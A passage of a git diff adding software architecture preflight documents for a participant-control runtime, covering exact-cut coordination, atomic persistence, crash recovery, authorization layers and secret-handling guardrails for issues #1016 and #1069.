typed evaluator inputs; they cannot +select a target phase or provider. + +Quiescence is evaluated from the authoritative operation/state records and +crossing delivery history, not an adapter boolean or a duplicate pending-work +counter. Pending, indeterminate, or uncommitted work stays with its original +phase/provider. Transition timeout or cancellation follows the sealed failure +disposition and appends a safe fact when storage is available; it does not mark +work complete, switch provider, restore an old snapshot, or perform cleanup. +Only the phase commit makes the new allocation active, and it occurs before any +new-phase effect. + +Inactive pinned components cannot act or receive an exchange. Missing or +unhealthy active providers do not authorize fallback. A component outside the +sealed possible-membership set cannot join. Phase change preserves plan, +entry, run, controller, participant memory, operation records, and every +history prefix. Deactivation is not teardown, cleanup, rollback, or evidence +that external state disappeared; existing trial cleanup/resource ownership +contracts remain authoritative. + +### Failure evidence is bounded by what actually committed + +Pre-effect denial, stale cut, unsupported capability, a mapping that cannot +establish a required comparison, invalid phase, unadmitted component, +unresolved policy/evidence, or failed authorization commit produces zero +provider calls and zero external or +participant disclosure. When the store remains available, record the bounded +denial in the existing operation/audit and owning history transaction. When +the store itself cannot commit, do not invent durable failure evidence. + +After authorization commit, backend failure is a distinct attempt/result fact +with sanitized diagnostics. A crash or unknown store outcome after a possible +external effect follows the existing reconciliation and durability-poisoning +rules. It is never automatic replay, successful delivery, rollback, +compensation, or exactly-once execution. Retraction or concealment appends a +fact and cannot erase a prior delivery or participant-visible fact. + +Startup reconciliation must recover the exact provider binding committed for +the interrupted effect and use only that component target's matching +`RecoveryObserver` and declared recovery capability. The current +`_observe_running_record()` default to `control_plane._target` is insufficient +for a mixed effect and must not silently select the logical target, another +component, or an available fallback. Missing, mismatched, or unobservable +provider recovery remains `INDETERMINATE`; the durable request commitment keeps +the logical target/run identity and the provider binding remains a separate +value-free coordinate of the exact cut. + +## Canonical incumbents and required reuse + +| Concern | Canonical owner and required fit | +| --- | --- | +| Semantic and profile authority | `specs/formal/participant-semantics/cross-backend-participant-control.md`, ADR-102, MCB-001–045, `MixedParticipantCompositionProfileModel`, and `validate_mixed_composition_context()`. Consume the sealed graph and limits; do not restate it in runtime DTOs. | +| Trial/run admission | `AdmittedTrialPlanModel`, `AdmittedMixedCompositionBindingModel`, exact profile input refs, `revalidate_admitted_trial_plan()`, trial identity profiles, cleanup/isolation, and `TrialInstantiationProvenance`. No second plan/run identity or runtime fallback. | +| Component targets | `RuntimeTarget`, `RuntimeTargetComponents`, registry shape/method checks, backend manifests, realization envelopes, component-specific manifest pins, and current API-407 support resolution. Preserve each component identity; do not union manifests or capability sets. | +| Runtime authority | `RuntimeControlPlane`, `ControlPlaneConfiguration`, `RuntimeMutationAuthority`, operation admission/context, `ControlPlaneOperationRecord`, `OperationReceipt`/`OperationStatus`, and the target/run-scoped store lease. One coordinator owns the complete cut. | +| RUN-310 control | Compiled mixed-control declarations, `participant_control_mediation.py`, `participant_control_rejections.py`, `participant_control_targets.py`, API-409 contextual validation, and append-only control history. Provider/phase change never becomes controller state. | +| RUN-319/API-423 and final sinks | `participant_crossing_boundary.py`, `participant_crossing_{mediation,commit,egress}.py`, `participant_flow_sink.py`, the policy resolver/context, API-423 contextual validation, SEM-233 resolution, and exact participant history heads. Extend the combined cut; do not add a gateway or bypass path. | +| Action and observation | `ParticipantActionAdmissionRequest`, compiled action/observation bindings, `participant_effect_authority()`, participant result/history validators, API-408 projections, and scoped observation demand. Approval, admission, attempt, delivery, observation, collection, retention, and export remain separate. | +| Time and order | `TimeModelDeclarationModel`, `TimeRuntimeStateModel`, time-domain/clock/mapping declarations, `ParticipantRuntimeOrderingBasis`, shared-time transition validation, and runtime readback. No wall-time, phase-index, list-order, or receipt-order causality. | +| Persistence and replay | `ControlPlaneStore`, `ControlPlaneStoreCommitAdapter`, in-memory/local providers, expected snapshot revision/history heads, owner lease, strict local codec/migration, terminal audit binding, startup reconciliation, and durability poisoning. Extend the existing transaction only. | +| Backend boundary | `apply_authorized_participant_action()`, `_call_backend_apply()`, `backend_*_contracts.py`, snapshot carrier ownership, changed-address accounting, credential sanitization, and backend result diagnostics. Every selected component crosses the same validation boundary; the incumbent full-snapshot call is a trusted-component boundary, not component confidentiality isolation. | +| Errors and observability | `Diagnostic`, portable diagnostic conversion, stable operation states, `_conflict_detail()`, redacted request-validation and generic 500 handlers, `AuditEvent`, and `operational_apparatus_summary()`. Use bounded ids/codes; audit and logs are not scientific or participant evidence. | +| Contract/publication | `ContractModel(extra="forbid")`, runtime snapshot model/codecs, `schema_bundle()`, hand-governed schemas, publication manifest/fixtures, ADR-061 compatibility, and existing schema checks. No duplicate schema base, serializer, registry, or compatibility process. | +| Workflow | `.ground-control.yaml`, `.gc/plan-rules.md`, issue-bound requirement scope, canonical nox/policy/schema/semantic checks, and existing real-boundary conformance tests. Add no workflow or verification lane. | + +## Cross-cutting security and host-layer path + +The intended implementation must pass every layer below in order. + +1. **Profile and plan ingress.** External profile bytes use + `parse_mixed_composition_profile()` and its bounded duplicate/depth/node + checks. External/caller-held plans use `parse_admitted_trial_plan_json()` or + `revalidate_admitted_trial_plan()`. Closed models, digests, exact refs, + contextual composition validation, and trial-admission joins all pass before + runtime construction. There is no YAML, remote include, path/URL fetch, or + caller-supplied trusted context. +2. **Configuration and target shape.** `ControlPlaneConfiguration` rejects + unknown constructor options and validates normalized `PlanScope` run ids. + `RuntimeTarget.__post_init__`, registry method-signature checks, manifest + capability/component presence, realization envelopes, and exact + component/profile bindings validate every delegated target. Component + lookup is immutable and admitted; ambient configuration cannot choose it. +3. **HTTP request admission.** Any public mutation stays behind + `create_control_plane_app()`, `RequestSizeLimitMiddleware`, the bounded + offload queue, closed Pydantic request models, and the canonical + `Idempotency-Key` validator. Do not add a route-only parser or accept plan, + profile, provider, phase, policy, mapping, disposition, or result fields + from a control request unless an owning closed contract explicitly requires + them. +4. **Authentication and authorization.** `_ControlPlaneApiAuth`, + `ControlPlaneSecurityConfig.strict_defaults()`, constant-time bearer + resolution or explicitly trusted proxy identity, role checks, exact logical + target binding, participant/controller subject bindings, and audience + bindings all remain mandatory. A backend role, token, OS account, component + target, provider id, or native owner supplies no participant authority. +5. **Semantic/final-sink policy.** Compiled ACT-617 policy, RUN-310 rejection + order, SEM-211 action admission, API-423 policy/context, SEM-233 final-sink, + exact allocation/phase/provider, current capability, policy/release, + clock/order mapping, loss, and evidence joins must all permit the same cut. + Missing, stale, ambiguous, or resolver-failed required input refuses the + effect. Under MCB-023, an admitted partial-order mapping may authorize only + comparisons it actually establishes. Incomparability must neither become + invented total order nor reject unrelated exchanges that the profile + permits; weak support needs its explicit admitted downgrade and evidence. +6. **Persistence and concurrency.** The store-scoped atomic claim, one mutation + authority, owner lease, snapshot revision CAS, complete history-head CAS, + strict snapshot reconstruction, restart validation, and indeterminate-work + block precede effect. SQLite/WAL is admitted only through the local store's + private-directory, permission, identity-pinned-open, sidecar, synchronous, + integrity, and single-owner checks. A shared database or extra ASGI worker + does not supply distributed coordination. +7. **Secret and environment handling.** New coordination records, operation + contexts, diagnostics, audits, fixtures, and commitments carry only + governed refs and safe facts, never tokens, credentials, resolved secrets, + policy/evidence bodies, hidden participant state, backend handles, host + paths, or environment values. Reuse `secret_references.py`, + `experiment_bindings.py`, `participant_configuration.py`, + `raes/runtime_environment.py`, runtime-fact binding policy, + `RuntimeFactDispatchCommand`, and account-credential value-free/sanitizing + paths. Keep `RuntimeEnvironmentVariable` name, `value`/`value_from` + exclusivity, classification and redaction checks; generated `value_from` + cannot claim `operator_secret`. Configuration normalization must preserve + literal/secret-reference disposition and exact secret-reference identity. + Existing payload/history owners retain authorized content under their own + audience rules; do not copy that content into coordination evidence or + treat a digest of a low-entropy secret as safe disclosure. The coordinator + is not a secret resolver. +8. **OS and process exposure.** The core adds no shell, subprocess, daemon, + socket, file-name authority, or environment binding. Never place a token, + profile, action payload, policy, evidence body, component command, or host + path in argv, environment dumps, stdout, or stderr. The existing + `control_plane_store_lease.require_single_worker_configuration()` gate for + `WEB_CONCURRENCY`/`UVICORN_WORKERS` remains mandatory; component adapters use + their incumbent configuration and must not use caller-derived argv or + `shell=True`. +9. **Backend result and error envelope.** Deep-copied inputs cross the existing + backend call wrapper. Result type, bounded diagnostics/details, snapshot + shape and owner transitions, changed addresses, histories, credentials, + realization authority, and time transitions are revalidated before a + result can commit. Provider exceptions reduce to stable diagnostics; + expected conflicts use coarse fixed responses, validation errors remain + redacted, and unexpected HTTP failure remains exactly + `{"detail":"internal server error"}`. Logs/audits contain safe ids, + dispositions, and reason codes only. +10. **Egress and evidence audience.** Participant views are projected from one + pinned snapshot revision and pass audience/policy/final-sink mediation + before serialization. Audit, composition history, API-423 observation, + experiment evidence, and archival run provenance retain separate audience + and retention rules. One cannot be substituted for another. MCB-021 also + covers membership, destination, size/cadence, synchronization, ownership, + retraction and differential-failure metadata; payload redaction alone + establishes no metadata noninterference. + +## Extensibility seam + +The runtime seam is a trusted immutable binding of the admitted profile and +plan entry to `component_id -> RuntimeTarget`, plus a bounded resolver for the +live composition cut and trigger/time/readback facts. The coordinator consumes +that interface and the existing backend call contract; it does not branch on a +backend name, adapter class, HLA/FMI/HELICS term, or host topology. Adding a +backend or adapter supplies another validated target and exact profile context, +without editing allocation, policy, persistence, idempotency, or result +validation logic. + +That binding also supplies the exact component recovery observer after a crash; +recovery does not rediscover a provider. A later least-privilege or remote +component boundary belongs behind a versioned snapshot projection/transport +contract while preserving this same admitted component and exact-cut identity. + +The live cut explicitly carries profile/phase revision, selected allocation +and provider, mapping identity, order basis, state/history heads, and expected +evidence. This permits another accepted mapping or backend implementation +without restamping old facts. A future lease, arbitration/failover, +multi-controller, joint-control, or non-quiescent phase protocol requires a +new accepted semantic/profile revision and its own fencing/failure rules; it +cannot enter through an extension map, optional callback, or new enum value in +revision 1. + +## Assurance guardrails + +Reuse `test_run_310_supervisory_lifecycle.py`, +`test_run_319_participant_flow_policy.py`, +`test_issue_1003_final_sink_flow_enforcement.py`, the #1014/#1015 fixtures, +`control_plane_conformance_fixtures.py`, `control_plane_crash_fixtures.py`, and +the #1186/#1187 recovery/security/durability suites. Add assertions to these +incumbent boundaries, not a parallel coordinator-only harness. + +Evidence must drive the real `RuntimeControlPlane` through the selected +component `RuntimeTarget` boundary. Instrumented targets must prove exactly one +admitted provider call for a permitted fresh cut and zero calls/serializations +for denied, stale, unsupported, unmapped, inactive, unadmitted, conflicting, +or failed-commit cases. Exercise pure single-component, simultaneous mixed, +and pre-admitted staged fixtures from the existing #1014/#1015 families. +Include absent resolver/enforcement opt-out, nested scheduler effects, +cross-component result mutation, inject delivery after a phase change, and +positive as well as negative partial-order comparisons. + +Run the same exact-cut, idempotency, CAS, append-only, restart, corruption, and +failure-injection assertions against `InMemoryControlPlaneStore` and +`LocalControlPlaneStore`. Cover concurrent intervention versus phase change, +stale handoff, provider/manifest drift, trigger mismatch, pending and +indeterminate work, partial order/incomparable time, authorized downgrade, +backend exception/invalid result, authorization-commit failure, terminal-commit +uncertainty, prior-delivery retraction, and history-prefix tampering. Verify +safe diagnostics/audit plus absence of credentials, policy/evidence bodies, +backend exception text, paths, and hidden state from every public surface. + +Tests must assert the relationships among approval, action admission, +pre-effect decision, backend attempt, delivery, observation, phase commit, +audit, and archival evidence rather than merely count history rows. Passing +reference-coordinator tests establishes bounded #1016 behavior only; it is not +backend-native mixed capability, conformance, interoperability, transfer, +IFC/noninterference, trace inclusion, bisimulation, or equivalence evidence. + +## Repository workflow guardrails + +At preflight, `docs/governance/requirement-scopes/1016.json` does not exist. +The issue assigns SEM-234, RUN-310, RUN-319, and API-423, so implementation +needs one exact issue-bound scope containing those four UIDs and every delivery +file. Do not run the change under RUN-310 alone, omit a UID because its +incumbent code is reused, or copy #1014's contract-publication scope. + +The current `mixed-participant-composition` phase explicitly owns semantic, +contract, admission, and documentation artifacts and says mixed-runtime +implementation is not active there. `RUN-310` and `RUN-319` also have no +dedicated phase mapping in `tools/policy/requirement_order.yaml`, and the +current ownership list does not authorize the runtime/store/snapshot files +that #1016 must change. Establish a narrow runtime activation, prerequisites, +ownership, and traceability mapping before delivery. Do not borrow +`semantics-expansion`, widen an unrelated runtime phase, use a broad directory +glob, or weaken the checker. + +Keep Ground Control IMPLEMENTS/TESTS traceability aligned for every owning +requirement. Reuse the existing nox, policy, schema, publication, semantic +coverage, and full verification commands from `.ground-control.yaml`; add no +CI lane. `CHANGELOG.md` and the package version remain release-please owned. + +## Gotchas and anti-patterns + +Avoid: + +- one control plane or store per component, cross-store two-phase commit, + adapter-local policy/history, or a child operation ledger; +- a synthetic union manifest/capability set, borrowing one component's + identity for the graph, method-presence support, or updating #1017 claims to + make runtime tests pass; +- accepting provider, component, phase, mapping, target, policy, authority, + controller, disposition, history head, or evidence satisfaction from a + request or backend response; +- treating provider, adapter, route, HLA ownership, authenticated principal, + role, behavior mode, or process identity as controller/action/disclosure + authority; +- dispatching directly from approval, direction, intervention, handoff, + override, cancellation, runtime fact, trigger, or phase membership; +- using API-409 control history, API-423 crossing history, workflow history, + audit, operation details, snapshot metadata, or backend status as the missing + composition phase history; +- copying control, crossing, delivery, observation, or evidence bodies into a + generic composition event, `details` map, or nullable mega-event; +- selecting a provider by availability, fallback, native ownership, source + order, phase list order, arrival time, wall clock, retry count, or backend + completion order; +- calling a component outside `apply_authorized_participant_action()` / + `_call_backend_apply()`, trusting an adapter success, or letting backend + output mutate runtime-owned composition state; +- separate writes for authorization, phase, crossing, operation, snapshot, or + audit; a phase-local retry cache; lookup-then-save idempotency; or holding a + store transaction across an external call; +- automatic replay after a crash, treating authorization commit as delivery, + restoring an old snapshot after a possible effect, or claiming exactly-once + execution; +- erasing/replacing prior handoff, delivery, observation, loss, failure, + participant knowledge, or composition history on rollback, retraction, + concealment, cancellation, or phase change; +- raw resolver/Pydantic/backend exception text, credentials, tokens, policy or + evidence bodies, hidden content, action payloads, manifests, environment + values, paths, SQL, or tracebacks in contracts, state, diagnostics, audit, + logs, fixtures, argv, or stdout/stderr; +- claiming component confidentiality, sandboxing, or process isolation from + deep copies, output validation, API-423 policy, or one logical target; and +- a new gateway, scheduler, workflow engine, store, repository, event bus, + audit channel, logger, exception hierarchy, schema base/registry, serializer, + configuration parser, secret resolver, or verification workflow. + +## Non-goals and implementation boundary + +- No new portable SDL syntax, scenario composition meaning, trial compiler, + backend selection language, plan/run identity, or runtime fallback. +- No backend-native realization, mixed-capability declaration, conformance + result, HLA/FMI/HELICS compatibility, provider handshake, or generic bridge + protocol; #1017 owns capability/conformance and #1018 owns demonstration. +- No multi-controller, scoped simultaneous control, joint/fused control, + leases, failover/arbitration, late joins, unbounded dynamic membership, or + progress/livelock guarantee. +- No distributed transaction, multi-owner/P3 service, durable broker, + exactly-once external effect, automatic retry, rollback of external effects, + compensation, cleanup, or proof that deactivation removed external state. +- No confidentiality, tenant, process, or fault isolation among configured + component targets; a separately versioned projection/transport boundary owns + such a future claim. +- No replacement of ACT-617/RUN-310 control, SEM-211 admission, SEM-230/233 + policy, RUN-319/API-423 crossing, API-408 retrieval, shared time, scoped + observation demand, experiment evidence, or archival provenance. +- No claim that approval proves admission, admission or authorization commit + proves execution, attempt proves delivery, delivery proves observation, + audit proves participant visibility, or reference coordination proves + interoperability, transfer, trace inclusion, bisimulation, + IFC/noninterference, or backend equivalence. diff --git a/docs/decisions/issue-1069-run-320-runtime-orchestration-preflight.md b/docs/decisions/issue-1069-run-320-runtime-orchestration-preflight.md new file mode 100644 index 000000000..0f1ae2e23 --- /dev/null +++ b/docs/decisions/issue-1069-run-320-runtime-orchestration-preflight.md @@ -0,0 +1,344 @@ +# Issue #1069 — RUN-320 runtime orchestration preflight + +Date: 2026-09-20. Inspection baseline: `e4136a6e`. Scope: architecture guidance +before implementation, not an implementation plan. + +## Authority and present boundary + +[ADR-108](adrs/adr-108-modular-participant-control-and-governed-effects.md), +[SEM-235](../../specs/formal/participant-semantics/modular-participant-control.md), +and [PC-01–PC-15](../research/modular-participant-control/composition.md) already +settle the architecture. API-424 is published in `raes_contracts` and +`raes_backend_protocols`: its closed selection, context, result, composition, +effect, realization, trusted-context validation, provider protocol and +API-407 support adapter are the portable boundary. No new ADR, policy algebra, +provider interface, effect vocabulary or contract family is needed for +RUN-320. + +RUN-320 owns reference-runtime invocation, exact-cut composition, durable +admission and bounded triggered execution. It replaces the undeclared +`getattr(..., "resolve_flow_sink_decision")` path in +`raes_runtime/participant_flow_sink.py` and the matching method-presence probe +in `control_plane_composition.py::require_final_sink_flow_control_configuration`; +it does not relax the SEM-233 final sink or API-423 crossing gates. Any +temporary SEM-233 compatibility is an explicitly selected adapter into +API-424, never method-presence discovery at composition or invocation time. +`ParticipantControlProvider` is deliberately not runtime-checkable: a +callable `resolve` method proves neither installation, support nor authority. + +The following similarly named incumbents must remain distinct: + +- API-404 `ControlPlaneProfile` P0/P1/P2/P3 is the runtime transport and + durability posture; API-424 participant-control profiles select mechanism + semantics. Neither profile family selects, proves or upgrades the other. +- API-409/RUN-310 `participant_control_history` records supervisory actions; + it is not modular provider state, contribution or effect history. +- SEM-234 `MixedRuntimeBinding` coordinates backend allocation/phases; it is a + construction pattern, not a participant-control composition model. +- SDL `Orchestrator` and `RuntimeSnapshot.orchestration_history` own workflow + execution; RUN-320 must not retag their records. +- API-424 eligibility is not API-423 permission, a committed intent is not a + dispatch, dispatch is not observed application, and a realization claim is + not external certainty. + +Positive RUN-320/API-404 evidence must name an explicitly selected operating +profile. A legacy control plane with `profile=None` may retain compatibility +behavior but contributes no profile guarantee; provider installation or an +API-424 mechanism profile must never auto-select P0–P3. + +## Runtime design guardrails + +### Trusted binding and invocation + +Add one immutable, operator/backend-constructed runtime binding through the +typed `ControlPlaneOptions`/`ControlPlaneConfiguration` seam, following the +validation and `MappingProxyType` treatment of `MixedRuntimeBinding`. It binds +the exact admitted selection/apparatus and trusted context/support resolvers to +a provider map whose keys exactly equal the selected mechanism instance IDs. +Provider objects never come from a scenario field, participant value, generic +options map, import path, module name, URL, command, environment expression or +filesystem search. `RuntimeTarget` remains a component/effect boundary, not a +plugin registry. + +Invoke every provider only through +`raes_backend_protocols.protocols.ParticipantControlProvider.resolve`, under +the shared `RuntimeMutationAuthority` and `external_control_plane_call()` +re-entry fence. Supply a detached, revalidated `ParticipantControlRequestModel` +for one exact K. Revalidate returned models from their portable projection so +`model_construct`, mutable aliases or unchecked subclasses cannot bypass the +contracts. Convert exception, malformed return, missing slot and unsupported +support into the corresponding explicit unresolved result/support record; +never omit a contributor or permit on failure. + +Construct and validate the complete `ParticipantControlEvaluationModel` with +API-424-owned composition logic and +`validate_participant_control_resolved_context()`. Its non-wire context must be +resolved independently from trusted runtime owners: admitted request, safe +references, exact installed bindings, effective support, result identity, +authorized effects, incumbent gate evidence, crossing/control/flow/inject +records and owner receipts. Provider output cannot certify any of those facts. +Do not copy slot, dependency, blocker, support, effect-conflict, digest or +trusted-context logic into runtime branches. + +There is one current API-surface gap to close at the existing contract owner: +`participant_control_composition.py` and +`participant_control_effect_composition.py` validate a caller-constructed +composition, but expose no public pure operation that derives the canonical +`ControlCompositionModel` from results, effective support and incumbent-gate +facts. RUN-320 must expose and reuse that API-424-owned operation (or an +equivalent public constructor over the same logic) before runtime orchestration +consumes it. It must not independently reproduce private +`_mandatory_blockers`, effect-conflict accounting or disposition mapping in +`raes_runtime`. This closes a missing public seam; it does not authorize a new +schema, policy algebra or orchestration facade. + +API-424 does not expose an open cross-provider rule interpreter. If an +admitted profile or dependency cannot be expressed by the published request, +slots and result contracts, record unsupported and perform no dispatch; amend +API-424 under its owner rather than pass provider-private dependencies through +metadata. + +The provider is an operator-installed pure resolver, not an authenticated +caller, controller, declassifier or effect principal. Every triggered child +operation retains the originating `OperationAdmissionContext` actor and +authorization scopes, records `parent_operation_id`, and then passes the +ordinary owner authorization again. Never call `operation_admission_context()` +with an absent identity merely because execution is internal: that incumbent +fallback means trusted embedder and would launder a served caller into process +authority. Provider-declared authority refs remain claims checked by the +trusted context; they do not replace the operation actor. + +`external_control_plane_call()` is a re-entry fence, not a sandbox or timeout. +A provider must perform no world effect, spawn no mutation path and return a +finite result. Attempt/expiry bounds do not prove wall-clock liveness; a stuck +in-process provider can stall the single mutation authority, so RUN-320 makes +no provider-availability or cancellation claim and must not hide this with an +unbounded worker/thread executor. + +### One exact cut and one durable authority + +Build K from the incumbent crossing/control owners: admitted apparatus and +profile, participant/episode, subject/crossing/direction, sink/audience/ +destination, controller/authority, policy revision, input and provider-state +references, governed time/order, trigger root/depth/firings/attempt, and every +relevant history head. `prepare_participant_crossing()`, +`expected_participant_history_heads()` and the API-424 request validator own +those coordinates. A retry after any head, policy, selection, support or state +change resolves a fresh K; an old eligible result is never reused. + +Use `RuntimeSnapshot`, `ControlPlaneOperationRecord`, `AuditEvent` and +`AtomicControlPlaneStore.commit_participant_transition()` as the only state +authority. The atomic write set contains the validated evaluation, all +contributions, proposed provider-state transition, logical effect claims, +root/depth/firing/attempt consumption, the effective decision and typed effect +intents before any backend call or participant disclosure. A stale expected +head, idempotency conflict, store error or uncertain commit means no dispatch. +P0 may make only its documented process-lifetime claim; restart/recovery +evidence uses the P1 local durable store, and P2 remains the authenticated HTTP +composition over that P1 core. RUN-320 does not make the unavailable P3 +multi-owner/coordination profile real. Do not weaken +`adapt_control_plane_store()` capability admission or emulate atomicity in the +orchestrator. + +Modular state and append-only history require first-class typed snapshot +carriers with fold/prefix and expected-head validation. They must be carried +through all exhaustive snapshot surfaces: `RuntimeSnapshot`, +`_snapshot_updates.py`, the runtime-snapshot contract/schema and publication +entry, `control_plane_store_snapshots.py`, `control_plane_store_history.py`, +`control_plane_store_paths.py` transition accounting, +`backend_snapshot_contracts.py`, `participant_result_contracts.py`, +`participant_crossing_state_cut.py`, backend transition validation, +`control_plane_api_models.py`, operational summaries, compatibility fixtures, +concurrency/restart checks, and both memory and local stores. Do not store authority in +`RuntimeSnapshot.metadata`, audit details, operation `result_payload`, a +private cache or a new trigger journal. Backend results must not be allowed to +rewrite runtime-owned modular carriers. + +Treat persisted-shape evolution as an explicit compatibility boundary. Follow +`control_plane_store_record_migration.py` and the +`participant_crossing_history_presence()` precedent when distinguishing a +legacy snapshot that predates a carrier from a present empty carrier. Absence +may establish only that no modular-control history is available; it must not +synthesize an empty authoritative history, erase a retained head or permit a +resume. Once modular state or claims exist, missing or malformed carriers fail +closed. An unprofiled legacy control plane may retain its old behavior but +cannot acquire a RUN-320 conformance or restart-recovery claim implicitly. + +Evaluations and later realization facts are immutable. Do not mutate an +evaluation's empty/pending realization list after dispatch; append separately +identified transitions that fold to current provider/effect state and retain +the original causal references. Operation lifecycle records remain the common +administrative index, but are not a substitute for required portable +contribution, state, budget and realization history. + +### Admission, effect ownership and recovery + +Preserve the incumbent order: + +`resolve -> compose -> admit -> commit intent -> dispatch -> record outcome` + +Immediately before dispatch, recheck the commit-bound generation and all +current authority, capability, policy, destination and history coordinates. +`RuntimeMutationAuthority` provides the in-process logical permit. The selected +control-plane profile supplies only its declared store fence: P0 has revision +CAS and no process-loss/owner-lease claim; P1/P2 add the local durable owner +lease, CAS and startup reconciliation. Expected heads bind the affected +participant histories in either case. Do not introduce a check-then-call gap or +imply P3/multi-owner support. If an asynchronous path cannot retain its +declared fence, it must re-enter final admission at a fresh cut. + +Translate each closed API-424 effect through its existing owner, with no +backend-name or provider-name branch: + +| Effect concern | Required incumbent owner | +| --- | --- | +| Permit, deny and withhold | API-423 crossing mediation, SEM-233 final-sink validation and RUN-319 commit-before-effect | +| Transform, mask and route | Fresh API-423/SEM-226 carrier identity, lineage, visibility and ordinary re-admission | +| Inject | DSL-111/142 authored identity/binding plus API-423 delivery/disclosure and API-409 when it changes control | +| Delay | API-421/RUN-308 governed clock, expiry and scheduler ownership | +| Review, handoff, interrupt and shutdown | RUN-310/API-409 participant, episode and workflow lifecycle owners | +| Audit | Existing `AuditEvent`/evidence and audience projection; never a second output channel | + +The current `ParticipantInjectDelivery` surface is an authored/compiled +declaration and API-424 validation authority, not a runtime executor or an +"applied" receipt. The implementation must either route an inject through the +ordinary incumbent crossing/delivery owner or record unsupported with zero +dispatch. The same rule applies to every effect whose owner has no realizable +path: do not add a universal callback/executor bag to conceal the gap. + +A required predecessor commits a withhold of the parent, runs as a separately +admitted operation, and causes fresh parent evaluation after satisfaction. A +subsequent effect is an independent operation whose failure cannot rewrite an +already applied parent. Use the owning operation kind where one exists; if a +new closed kind is genuinely required, update operation serialization, +recovery and all exhaustive lifecycle handling rather than treating an +arbitrary string as a kind. + +Use the ADR-104 recovery distinction already implemented by +`control_plane_recovery.py`: intent/accepted, dispatch/running, observed +application, failed and externally indeterminate. A committed-but-undispatched +effect may resume only with durable proof dispatch never began. Once dispatch +may have begun, use the existing `RecoveryObserver` seam when supported; +otherwise retain indeterminate and require governed resolution. Never blind +retry a non-idempotent effect or claim distributed/external exactly-once. + +The logical effect key is exactly `(run, trigger root occurrence, rule +id/revision, effect slot, admitted firing epoch)`. It is distinct from an +operation ID, transport `Idempotency-Key`, retry number, current-cut digest and +backend request ID. Allocate the fresh effect identity once per logical key, +retain it across retry/replay, return the prior receipt for identical canonical +content, and conflict on different content. A governed new trigger event—not +a retry—creates a firing epoch. + +Depth, total effects per root, fan-out, per-rule firings, resolution attempts, +expiry and retry limits are durable state. An admitted effect consumes root and +per-rule budget even when dispatch later fails. Reset, handoff, transformed +identity, retry and restart do not erase the causal root or replenish budgets. +Diagnostics, audit and recovery observations cannot recursively trigger +effects unless a separately admitted rule explicitly names them and remains +within all bounds. + +## Cross-cutting incumbents and security layers + +| Layer | Required reuse and satisfaction | +| --- | --- | +| Portable shape/parser | Reuse API-424 `ContractModel` variants, strict/frozen field choices, `parse_bounded_json_object`, the published schemas and `parse_participant_control_evaluation()`. No parallel DTO/schema or unbounded JSON/file read. Direct Python values still require reconstruction and finite/bounded validation. | +| Admission and semantic validation | Reuse API-424 composition/effect validators and `ParticipantControlValidationContext`; compose API-409, API-423, SEM-233, support and inject owning validators. Shape validity never substitutes for freshness, authority or effect admission. | +| Package and host boundary | Keep portable models/validation in `raes_contracts`, the public provider protocol and support adapter in `raes_backend_protocols`, and invocation/durability in `raes_runtime`, per `tools/policy/adr_policy.yaml`. Runtime must not import `raes_conformance`; conformance may consume the runtime, never become runtime authority. Reuse `registry.py`/`registry_target_validation.py` and the exact backend manifest for target capability admission, but keep provider installation in the immutable runtime binding rather than turning `RuntimeTarget` into discovery. | +| Authentication/authorization | No new route is required. If an existing route is touched, retain `ControlPlaneSecurityConfig.strict_defaults()`, `_ControlPlaneApiAuth`, constant-time bearer-token comparison or explicitly enabled trusted-proxy identity verification, role/target binding, participant/controller/audience subject bindings and `RequestSizeLimitMiddleware`. Authentication is an adapter concern; authenticated operator status is not participant disclosure or declassification authority. | +| Configuration and secrets | Extend only typed `ControlPlaneOptions`/`ControlPlaneConfiguration`; reject unknown options and validate exact run/selection binding. Add no provider env/config bag, secret loader or portable credential. Carry only owner-approved safe refs: prompts, raw payloads, private provider state, policy bodies, tokens and credentials are excluded, and hashing a secret is not redaction. Existing `RuntimeEnvironmentVariable` and `enforce_observed_value_redaction()` remain mandatory if a future owner legitimately introduces environment binding. | +| OS/process exposure | RUN-320 needs no subprocess, dynamic import, shell, socket, host path, temporary executable or command-line option. Provider instances are injected in-process by the operator/backend. Never put provider input, credentials or governed values in argv, environment, filenames, stdout/stderr or shell interpolation. Provider/host integrity outside the declared experimental world remains a backend concern. | +| Concurrency and re-entry | Reuse `RuntimeMutationAuthority`, `control_plane_mutation()`, `external_control_plane_call()`, store ownership lease/CAS, scoped idempotency claims and expected history heads. No participant-local second lock, trigger mutex or provider callback re-entry into mutation. | +| Persistence and recovery | Reuse ADR-104, `ControlPlaneStore`/`AtomicControlPlaneStore`, `adapt_control_plane_store()`, `commit_participant_transition()`, the P0/P1/P2 capability declarations, operation lifecycle, memory/local codecs, startup reconciliation and `RecoveryObserver`. Snapshot, operation and audit changes share the existing atomic transaction; no second repository or recovery state machine. P0 evidence is process-local; only P1/P2 may claim durable restart recovery, and P3 remains unavailable. | +| Effect/backend result boundary | Route an admitted effect through its incumbent owner and the existing `backend_calls.py` input isolation, `backend_input_contracts.py` bounds, `backend_apply_results.py` finalization, `backend_snapshot_contracts.py` carrier ownership and `participant_result_contracts.py` append-only checks where backend work is involved. Extend those exhaustive carrier/transition tables for modular state. A backend result cannot author, erase or rewrite runtime-owned evaluations, claims, budgets, state proposals or realizations; invalid output becomes the existing value-independent failed `ApplyResult`. | +| Errors, audit and diagnostics | Catch provider/resolver/validation exceptions at the boundary and construct stable, bounded, value-independent `Diagnostic` messages. `portable_diagnostic_payload()` validates shape but does not redact. Preserve the coarse envelopes in `control_plane_api/_responses.py`, `_operation_routes.py` and `_participant_routes.py`. Reuse `AuditEvent` plus `require_audit_event_fields()`; any new action needs an explicit bounded detail-key/value allowlist, never an arbitrary details dump. Never expose exception text/class, Pydantic input, repr, unknown key, traceback or provider-chosen address. No new exception hierarchy, logger or audit channel. | +| Disclosure and observability | Apply SEM-220/226/230 projection and the existing `x-raes-plane` classification to decisions, reasons, evidence, review/withhold existence and timing—not only payload values. Administrative snapshot visibility is not participant delivery. Logs and audit records are not automatic experiment evidence or disclosure authority. | +| Workflow/publication | Follow `.ground-control.yaml`, `.gc/plan-rules.md`, `tools/policy/requirement_order.yaml`, existing nox/policy checks and `RAES_REQUIREMENT_UID=RUN-320`. The phase graph already defines `modular-control-runtime` after `modular-control-contracts`, but `ownership:` currently has no `modular-control-runtime` entry; implementation must add exact owned paths instead of borrowing broad `semantics-expansion`, `mixed-participant-runtime` or `participant-model` ownership. Any snapshot schema edit requires its per-contract publication entry/content hash, compatibility fixtures and exact `schema_bundle()` parity. Do not add an issue-local runner or edit the changelog/version. | + +The canonical implementation precedents are 